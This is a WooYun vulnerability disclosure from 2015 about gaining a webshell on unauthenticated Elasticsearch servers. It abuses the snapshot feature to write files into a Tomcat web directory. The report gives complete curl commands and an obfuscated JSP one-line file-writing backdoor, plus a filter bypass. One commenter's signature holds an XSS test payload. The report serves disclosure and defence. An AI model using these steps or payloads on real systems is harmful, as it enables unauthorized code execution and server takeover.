当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110216

漏洞标题:elasticsearch某内置功能缺陷利用可能导致getshell风险

相关厂商:elasticsearch

漏洞作者: 园长

提交时间:2015-04-25 01:22

修复时间:2015-07-27 10:54

公开时间:2015-07-27 10:54

漏洞类型:命令执行

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-25: 细节已通知厂商并且等待厂商处理中
2015-04-28: 厂商已经确认,细节仅向厂商公开
2015-05-01: 细节向第三方安全合作伙伴开放
2015-06-22: 细节向核心白帽子及相关领域专家公开
2015-07-02: 细节向普通白帽子公开
2015-07-12: 细节向实习白帽子公开
2015-07-27: 细节向公众公开

简要描述:

虽然只是个小问题,但是某些时候还是会存在getshell风险

详细说明:

elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
基础信息:
可以查看es节点信息,包括安装目录:http://localhost:9200/_nodes

1.png


未授权访问的elasticsearch(事实上绝大多数都没做访问授权)备份数据的时候存在一些小缺陷,可以用来进一步的获取权限。
参考es官方的索引快找和恢复文档(Snapshot And Restore):
http://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html#_snapshot

2.png


大概意思是说:
快照和恢复模块可以创建单独的索引或整个集群索引的快照到远程仓库。最初的es只提供了把数据备份到共享文件系统,但是现在的es可以通过官方的后端插件备份。
首先创建一份恶意的索引文档(key为jsp一句话后门):

curl -XPOST http://localhost:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'


查看创建的文档: curl http://localhost:9200/yz.jsp/_search?pretty

3.png


这里的我创把文档的index和type都设置成了yz.jsp,其中文档的key包含了一个jsp文件。
然后创建一个恶意的存储库(Repositories):

curl -XPUT 'http://localhost:9200/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/Users/yz/Documents/install/apache-tomcat-7.0.57/webapps/wwwroot/",
"compress": false
}
}'


这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。
既然知道可以创建任意目录,或许就可以想办法写个shell。
存储库验证并创建:

curl -XPUT "http://localhost:9200/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'


4.png


这个时候就可以看到tomcat目录的备份文件已经生成了多个jsp文件:

5.png


一句话shell在/Users/yz/Documents/install/apache-tomcat-7.0.57/webapps/wwwroot/indices/yz.jsp/snapshot-yz.jsp:

6.png


写大马:

7.png


这里有2个点:
1、json不好绕过避开json应该是不可能了,所以避开双引号比较麻烦所以这里用了byte转String避免出现”"。
2、如果不把compress设置成false会被es安全过滤(比如:toString、getXXX都会被过滤),绕了半天才发现设置成不压缩就可以了......

漏洞证明:

5.png


6.png

修复方案:

mapping校验,禁止创建特殊后缀

版权声明:转载请注明来源 园长@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-04-28 10:52

厂商回复:

CNVD未复现所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-25 01:24 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    前排瓜子,饮料,

  2. 2015-04-25 01:30 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @小川 鄙视

  3. 2015-04-25 01:42 | 天朝城管 ( 普通白帽子 | Rank:116 漏洞数:35 | 不要等到命玩你的时候才开始玩命)

    啤酒 饮料 矿泉水

  4. 2015-04-25 01:44 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    表哥竟然冒泡了···

  5. 2015-04-25 02:04 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    大晚上的,不让人睡觉拉

  6. 2015-04-25 02:14 | Focusstart ( 普通白帽子 | Rank:574 漏洞数:163 | 努力让某某某成为最幸福的女人!)

    @小川 死鬼,明天继续~

  7. 2015-04-25 02:54 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    我靠~~~赞

  8. 2015-04-25 03:56 | 流星warden ( 实习白帽子 | Rank:54 漏洞数:8 | The quieter you become,the more you are ...)

    水果,泡面,老干妈

  9. 2015-04-25 06:42 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    干货

  10. 2015-04-25 08:30 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    前面的腿收一下

  11. 2015-04-25 08:38 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    园长 - - 爱你哟 么么哒 又可以看思路啦啦啦

  12. 2015-04-25 08:43 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    水果,泡面,老干妈

  13. 2015-04-25 08:49 | 末影人 ( 实习白帽子 | Rank:35 漏洞数:9 | 末影人(Enderman)是一个三个方格高的人形生...)

    0day?

  14. 2015-04-25 08:53 | an0nym0u5 ( 普通白帽子 | Rank:172 漏洞数:31 )

    这么多大晚上不睡觉的~

  15. 2015-04-25 08:57 | ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为,你不...)

    关注下

  16. 2015-04-25 09:32 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:128 | 说好的借,为什么从来不还?O(∩_∩)O)

    园长出品必属精品

  17. 2015-04-25 10:16 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    我去,大黑阔都不睡觉的

  18. 2015-04-25 10:46 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    大晚上的,你居然不睡觉

  19. 2015-04-25 11:02 | boooooom 认证白帽子 ( 普通白帽子 | Rank:467 漏洞数:50 | 我有一个好想法!)

    表哥犀利

  20. 2015-04-25 12:39 | bitcoin ( 普通白帽子 | Rank:715 漏洞数:218 | 学习是最好的投资!)

    大牛发招了!

  21. 2015-04-25 13:41 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    园长大大看这边~

  22. 2015-04-25 13:52 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    请收下我的膝盖

  23. 2015-04-25 15:46 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    表哥带我飞

  24. 2015-04-25 16:09 | sky ( 实习白帽子 | Rank:94 漏洞数:33 | 有一天,我带着儿子@jeary 去@园长 的园长...)

    飞飞飞

  25. 2015-04-25 16:18 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  26. 2015-04-25 17:28 | Sura、Rain ( 路人 | Rank:15 漏洞数:8 | 关注Java WEB安全)

    坐等php狗写的站中枪

  27. 2015-04-25 19:25 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    园长mm,你屌爆了

  28. 2015-04-28 09:38 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    = =小强子

  29. 2015-04-28 15:42 | 盛大网络(乌云厂商)

    Elasticsearch directory traversal vulnerability CVE-2015-3337 http://seclists.org/bugtraq/2015/Apr/188

  30. 2015-04-28 15:53 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @盛大网络 如此,甚好.

  31. 2015-04-28 18:02 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @盛大网络 不能遍历目录文件列表... http://zone.wooyun.org/content/20064

  32. 2015-05-01 12:39 | 随随意意 ( 普通白帽子 | Rank:160 漏洞数:35 | 我对XSS并非真爱(┬_┬)最近有人冒充该...)

    我是来看园长姐姐的

  33. 2015-05-01 15:22 | 小红猪 ( 普通白帽子 | Rank:194 漏洞数:30 | Wow~~~哈哈~~~)

    卧槽,牛逼啊

  34. 2015-07-27 12:44 | 泰迪 ( 路人 | Rank:10 漏洞数:1 | 我想知道这个以后还能改么)

    园长!!!!